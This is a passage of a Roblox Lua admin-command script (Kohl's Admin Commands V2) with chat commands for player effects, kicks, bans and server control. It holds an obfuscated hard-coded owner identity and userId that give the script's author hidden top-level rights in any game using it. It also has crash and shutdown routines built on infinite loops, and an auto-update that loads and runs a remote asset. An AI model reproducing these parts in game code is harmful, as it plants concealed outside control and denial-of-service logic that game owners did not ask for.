  7894. local plrz = GetPlr(plr, msg:lower():sub(7))
  7895. for i, v in pairs(plrz) do
  7896. coroutine.resume(coroutine.create(function()
  7897. if v and v.Character and v.Character:findFirstChild("Torso") then
  7898. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  7899. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  7900. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7901. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7902. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  7903. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  7904. end end
  7905. end
  7906. end))
  7907. end
  7908. end
  7909.  
  7910. if msg:lower():sub(1,7) == "normal " then
  7911. local plrz = GetPlr(plr, msg:lower():sub(8))
  7912. for i, v in pairs(plrz) do
  7913. coroutine.resume(coroutine.create(function()
  7914. if v and v.Character and v.Character:findFirstChild("Torso") then
  7915. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  7916. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  7917. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  7918. v.Character.Torso.Transparency = 0
  7919. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  7920. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  7921. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  7922. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  7923. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  7924. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7925. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7926. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  7927. if prt.Name == "FAKETORSO" then prt:Destroy() end
  7928. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  7929. end end
  7930. end
  7931. end))
  7932. end
  7933. end
  7934.  
  7935. if msg:lower():sub(1,7) == "trippy " then
  7936. local plrz = GetPlr(plr, msg:lower():sub(8))
  7937. for i, v in pairs(plrz) do
  7938. coroutine.resume(coroutine.create(function()
  7939. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7940. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7941. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  7942. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7943. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  7944. end
  7945. end))
  7946. end
  7947. end
  7948.  
  7949. if msg:lower():sub(1,9) == "untrippy " then
  7950. local plrz = GetPlr(plr, msg:lower():sub(10))
  7951. for i, v in pairs(plrz) do
  7952. coroutine.resume(coroutine.create(function()
  7953. if v and v:findFirstChild("PlayerGui") then
  7954. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  7955. end
  7956. end))
  7957. end
  7958. end
  7959.  
  7960. if msg:lower():sub(1,7) == "strobe " then
  7961. local plrz = GetPlr(plr, msg:lower():sub(8))
  7962. for i, v in pairs(plrz) do
  7963. coroutine.resume(coroutine.create(function()
  7964. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7965. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7966. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  7967. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7968. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  7969. end
  7970. end))
  7971. end
  7972. end
  7973.  
  7974. if msg:lower():sub(1,9) == "unstrobe " then
  7975. local plrz = GetPlr(plr, msg:lower():sub(10))
  7976. for i, v in pairs(plrz) do
  7977. coroutine.resume(coroutine.create(function()
  7978. if v and v:findFirstChild("PlayerGui") then
  7979. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  7980. end
  7981. end))
  7982. end
  7983. end
  7984.  
  7985. if msg:lower():sub(1,6) == "blind " then
  7986. local plrz = GetPlr(plr, msg:lower():sub(7))
  7987. for i, v in pairs(plrz) do
  7988. coroutine.resume(coroutine.create(function()
  7989. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  7990. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  7991. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  7992. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  7993. end
  7994. end))
  7995. end
  7996. end
  7997.  
  7998. if msg:lower():sub(1,8) == "unblind " then
  7999. local plrz = GetPlr(plr, msg:lower():sub(9))
  8000. for i, v in pairs(plrz) do
  8001. coroutine.resume(coroutine.create(function()
  8002. if v and v:findFirstChild("PlayerGui") then
  8003. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  8004. end
  8005. end))
  8006. end
  8007. end
  8008.  
  8009. if msg:lower():sub(1,7) == "guifix " then
  8010. local plrz = GetPlr(plr, msg:lower():sub(8))
  8011. for i, v in pairs(plrz) do
  8012. coroutine.resume(coroutine.create(function()
  8013. if v and v:findFirstChild("PlayerGui") then
  8014. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  8015. end
  8016. end))
  8017. end
  8018. end
  8019.  
  8020. if msg:lower():sub(1,9) == "loopheal " then
  8021. local plrz = GetPlr(plr, msg:lower():sub(10))
  8022. for i, v in pairs(plrz) do
  8023. if v then
  8024. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  8025. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8026. repeat wait()
  8027. coroutine.resume(coroutine.create(function()
  8028. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  8029. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  8030. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  8031. end
  8032. end))
  8033. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8034. end
  8035. end
  8036. end
  8037.  
  8038. if msg:lower():sub(1,11) == "unloopheal " then
  8039. local plrz = GetPlr(plr, msg:lower():sub(12))
  8040. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8041. end
  8042.  
  8043. if msg:lower():sub(1,10) == "loopfling " then
  8044. local plrz = GetPlr(plr, msg:lower():sub(11))
  8045. for i, v in pairs(plrz) do
  8046. if v then
  8047. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  8048. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8049. repeat
  8050. coroutine.resume(coroutine.create(function()
  8051. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  8052. local xran local zran
  8053. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  8054. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  8055. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  8056. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  8057. end
  8058. end))
  8059. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8060. end
  8061. end
  8062. end
  8063.  
  8064. if msg:lower():sub(1,12) == "unloopfling " then
  8065. local plrz = GetPlr(plr, msg:lower():sub(13))
  8066. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8067. end
  8068.    
  8069. end
  8070.  
  8071. -------------------------
  8072. -- True Owner Commands --
  8073. -------------------------
  8074.  
  8075. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  8076.  
  8077. if msg:lower():sub(1,3) == "oa " then
  8078. local plrz = GetPlr(plr, msg:lower():sub(4))
  8079. for i, v in pairs(plrz) do
  8080. coroutine.resume(coroutine.create(function()
  8081. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8082. end))
  8083. end
  8084. end
  8085.  
  8086. if msg:lower():sub(1,5) == "unoa " then
  8087. for i = 1, #owners do
  8088. coroutine.resume(coroutine.create(function()
  8089. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  8090. end))
  8091. end
  8092. end
  8093.  
  8094. if msg:lower() == "settings" then
  8095. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  8096. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  8097. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  8098. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  8099. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  8100. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  8101. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  8102. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  8103. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  8104. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  8105. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  8106. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  8107. end
  8108.  
  8109. end
  8110.  
  8111. --------------------
  8112. -- Owner Commands --
  8113. --------------------
  8114.  
  8115. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  8116.  
  8117. if msg:lower():sub(1,3) == "pa " then
  8118. local plrz = GetPlr(plr, msg:lower():sub(4))
  8119. for i, v in pairs(plrz) do
  8120. coroutine.resume(coroutine.create(function()
  8121. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8122. end))
  8123. end
  8124. end
  8125.  
  8126. if msg:lower():sub(1,5) == "unpa " then
  8127. for i = 1, #admins do
  8128. coroutine.resume(coroutine.create(function()
  8129. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  8130. end))
  8131. end
  8132. end
  8133.  
  8134. if msg:lower():sub(1,5) == "nuke " then
  8135. local plrz = GetPlr(plr, msg:lower():sub(6))
  8136. for i, v in pairs(plrz) do
  8137. coroutine.resume(coroutine.create(function()
  8138. if v and v.Character and v.Character:findFirstChild("Torso") then
  8139. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  8140. p.Anchored = true
  8141. p.CanCollide = false
  8142. p.formFactor = "Symmetric"
  8143. p.Shape = "Ball"
  8144. p.Size = Vector3.new(1,1,1)
  8145. p.BrickColor = BrickColor.new("New Yeller")
  8146. p.Transparency = .5
  8147. p.Reflectance = .2
  8148. p.TopSurface = 0
  8149. p.BottomSurface = 0
  8150. p.Touched:connect(function(hit)
  8151. if hit and hit.Parent then
  8152. local ex = Instance.new("Explosion", game.Workspace)
  8153. ex.Position = hit.Position
  8154. ex.BlastRadius = 11
  8155. ex.BlastPressure = math.huge
  8156. end
  8157. end)
  8158. local cf = v.Character.Torso.CFrame
  8159. p.CFrame = cf
  8160. for i = 1, 333 do
  8161. p.Size = p.Size + Vector3.new(3,3,3)
  8162. p.CFrame = cf
  8163. wait(1/44)
  8164. end
  8165. p:Destroy()
  8166. end
  8167. end))
  8168. end
  8169. end
  8170.  
  8171. end
  8172.  
  8173. --------------------------
  8174. -- Super Admin Commands --
  8175. --------------------------
  8176.  
  8177. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  8178.  
  8179. if msg:lower() == "logs" then
  8180. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  8181. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  8182. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  8183. end
  8184.    
  8185. if msg:lower():sub(1,9) == "loopkill " then
  8186. local chk1 = msg:lower():sub(10):find(" ")
  8187. local plrz = GetPlr(plr, msg:lower():sub(10))
  8188. local num = 9999
  8189. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  8190. for i, v in pairs(plrz) do
  8191. if v and not ChkAdmin(v.Name, false) then
  8192. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  8193. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8194. for i = 1, ]] .. tostring(num) .. [[ do
  8195. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  8196. coroutine.resume(coroutine.create(function()
  8197. if plr and plr.Character then plr.Character:BreakJoints() end
  8198. end))
  8199. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  8200. end
  8201. end
  8202. end
  8203.  
  8204. if msg:lower():sub(1,11) == "unloopkill " then
  8205. local plrz = GetPlr(plr, msg:lower():sub(12))
  8206. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  8207. end
  8208.  
  8209. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  8210. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  8211.  
  8212. if msg:lower():sub(1,3) == "sm " then
  8213. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  8214. end
  8215.  
  8216. if msg:lower():sub(1,3) == "ko " then
  8217. local chk1 = msg:lower():sub(4):find(" ") + 3
  8218. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  8219. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  8220. for n = 1, num do
  8221. for i, v in pairs(plrz) do
  8222. coroutine.resume(coroutine.create(function()
  8223. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  8224. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  8225. v.Character:BreakJoints()
  8226. wait(1/44)
  8227. v:LoadCharacter()
  8228. wait(1/44)
  8229. end
  8230. end))
  8231. end
  8232. end
  8233. end
  8234.  
  8235. if msg:lower():sub(1,6) == "crash " then
  8236. local plrz = GetPlr(plr, msg:lower():sub(7))
  8237. for i, v in pairs(plrz) do
  8238. coroutine.resume(coroutine.create(function()
  8239. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  8240. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  8241. end
  8242. end))
  8243. end
  8244. end
  8245.  
  8246. if msg:lower():sub(1,5) == "kick " then
  8247. local plrz = GetPlr(plr, msg:lower():sub(6))
  8248. for i, v in pairs(plrz) do
  8249. coroutine.resume(coroutine.create(function()
  8250. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  8251. end))
  8252. end
  8253. end
  8254.  
  8255. if msg:lower():sub(1,6) == "admin " then
  8256. local plrz = GetPlr(plr, msg:lower():sub(7))
  8257. for i, v in pairs(plrz) do
  8258. coroutine.resume(coroutine.create(function()
  8259. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  8260. end))
  8261. end
  8262. end
  8263.  
  8264. if msg:lower():sub(1,8) == "unadmin " then
  8265. for i = 1, #tempadmins do
  8266. coroutine.resume(coroutine.create(function()
  8267. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  8268. end))
  8269. end
  8270. end
  8271.  
  8272. if msg:lower():sub(1,4) == "ban " then
  8273. local plrz = GetPlr(plr, msg:lower():sub(5))
  8274. for i, v in pairs(plrz) do
  8275. coroutine.resume(coroutine.create(function()
  8276. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  8277. end))
  8278. end
  8279. end
  8280.  
  8281. if msg:lower():sub(1,6) == "unban " then
  8282. for i = 1, #banland do
  8283. coroutine.resume(coroutine.create(function()
  8284. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  8285. end))
  8286. end
  8287. end
  8288.  
  8289. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  8290.  
  8291. end
  8292. end))
  8293. end
  8294.  
  8295. function AdminControl(plr)
  8296. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  8297. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  8298. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  8299. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  8300. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  8301. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  8302. end)) end
  8303. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  8304. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  8305. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  8306. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  8307. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  8308. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  8309. end
  8310.  
  8311. if not ntab then script:Destroy() end
  8312. if not bct then script:Destroy() end
  8313.  
  8314. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  8315.  
  8316. script.Name = "Kohl's Admin Commands V2"
  8317.  
  8318. if not ntab then script:Destroy() end
  8319. if not bct then script:Destroy() end
  8320. if not tcb then script:Destroy() end
  8321. game.Players.PlayerAdded:connect(AdminControl)
  8322. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  8323. end
  8324.  
  8325. local mod = game:service("InsertService"):LoadAsset(100808216)
  8326. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  8327. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  8328. newac.Disabled = true
  8329. local new = tonumber(mod:findFirstChild("Version", true).Value)
  8330. local old = 0
  8331. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  8332. if new > old then
  8333. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  8334. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  8335. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  8336. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  8337. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  8338. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  8339. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  8340. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  8341. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  8342. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  8343. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  8344. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  8345. wait()
  8346. newac.Parent = game.Workspace
  8347. newac.Disabled = false
  8348. script.Disabled = true
  8349. script:Destroy()
  8350. else
  8351. CHEESE()
  8352. end
  8353. else
  8354. CHEESE()
  8355. end
Advertisement
Add Comment
Please, Sign In to add comment